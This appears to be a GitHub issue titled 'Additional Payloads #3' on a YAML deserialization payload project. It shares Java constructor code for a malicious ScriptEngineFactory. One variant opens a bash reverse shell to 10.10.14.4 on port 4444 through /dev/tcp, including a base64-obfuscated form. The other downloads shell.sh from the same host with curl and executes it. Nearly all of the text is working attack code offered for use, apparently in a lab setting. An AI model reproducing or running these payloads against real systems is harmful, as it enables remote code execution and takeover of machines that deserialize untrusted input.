Skip to content

Additional Payloads #3

Description

Additional Examples of Payloads:
yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java

public AwesomeScriptEngineFactory() {
    String [] cmd={"bash","-c","bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"};
    String [] jex={"bash","-c","{echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"};
    try {
        Runtime.getRuntime().exec(cmd);
        Runtime.getRuntime().exec(jex);
        Runtime.getRuntime().exec("echo $jex");
    } catch (IOException e) {
        e.printStackTrace();
    }
}

Putting a try-catch around every command:

public AwesomeScriptEngineFactory() {
    RunCmd("curl 10.10.14.4/shell.sh -o /tmp/shell.sh");
    RunCmd("bash /tmp/shell.sh");
}

public String RunCmd(String Cmd) {
    try {
        Runtime.getRuntime().exec(Cmd);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return null;
}

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions